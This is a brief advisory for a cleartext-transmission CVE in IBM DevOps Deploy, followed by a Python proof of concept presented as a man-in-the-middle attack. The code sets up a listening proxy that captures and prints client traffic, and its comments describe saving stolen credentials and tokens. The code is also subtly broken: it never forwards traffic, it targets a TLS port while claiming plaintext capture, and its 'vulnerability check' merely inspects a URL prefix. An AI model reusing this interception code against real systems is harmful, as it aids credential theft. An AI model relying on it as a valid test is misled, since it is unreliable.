IBM UCD - IBM DevOps Deploy 8.1 through 8.1.2.3 IBM DevOps Deploy transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.
The following code is for security research and authorized testing only.
python
# CVE-2025-13489 PoC - Man-in-the-Middle Attack Simulation
# This PoC demonstrates the concept of intercepting plaintext communications
# Note: Only for authorized security testing with proper permissions
import socket
import ssl
import struct
def create_mitm_proxy(listen_port=8080, target_host='target-server', target_port=8443):
"""
Create a basic proxy to intercept unencrypted traffic
This simulates the MITM attack vector for CVE-2025-13489
"""
print(f"[*] Starting MITM proxy on port {listen_port}")
print(f"[*] Target: {target_host}:{target_port}")
print("[*] Warning: This is for authorized testing only")
# Create listening socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', listen_port))
server_socket.listen(5)
while True:
client_socket, addr = server_socket.accept()
print(f"[+] Connection received from {addr}")
try:
# Forward to target (in real attack, traffic would be logged here)
target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target_socket.connect((target_host, target_port))
# Log intercepted data (vulnerability demonstration)
data = client_socket.recv(4096)
if data:
print(f"[!] Intercepted {len(data)} bytes of plaintext data")
print(f"[+] Data preview: {data[:100]}")
# In real attack: save credentials, tokens, configs
except Exception as e:
print(f"[-] Error: {e}")
finally:
client_socket.close()
target_socket.close()
def check_vulnerability(target_url):
"""
Check if target uses unencrypted communication
Returns True if vulnerable to CVE-2025-13489
"""
print(f"[*] Checking {target_url} for plaintext transmission...")
# Check if HTTPS is used
if target_url.startswith('https://'):
print("[-] Target uses HTTPS - likely NOT vulnerable")
return False
elif target_url.startswith('http://'):
print("[+] Target uses HTTP - VULNERABLE to MITM attacks")
print("[+] Sensitive data transmitted in plaintext")
return True
else:
print("[?] Unknown protocol")
return None
if __name__ == "__main__":
# Example usage
check_vulnerability("http://ibm-ucd-server.example.com:8080")
# Uncomment to start MITM proxy (requires authorization)
# create_mitm_proxy(listen_port=8080, target_host='ibm-ucd-server', target_port=8443)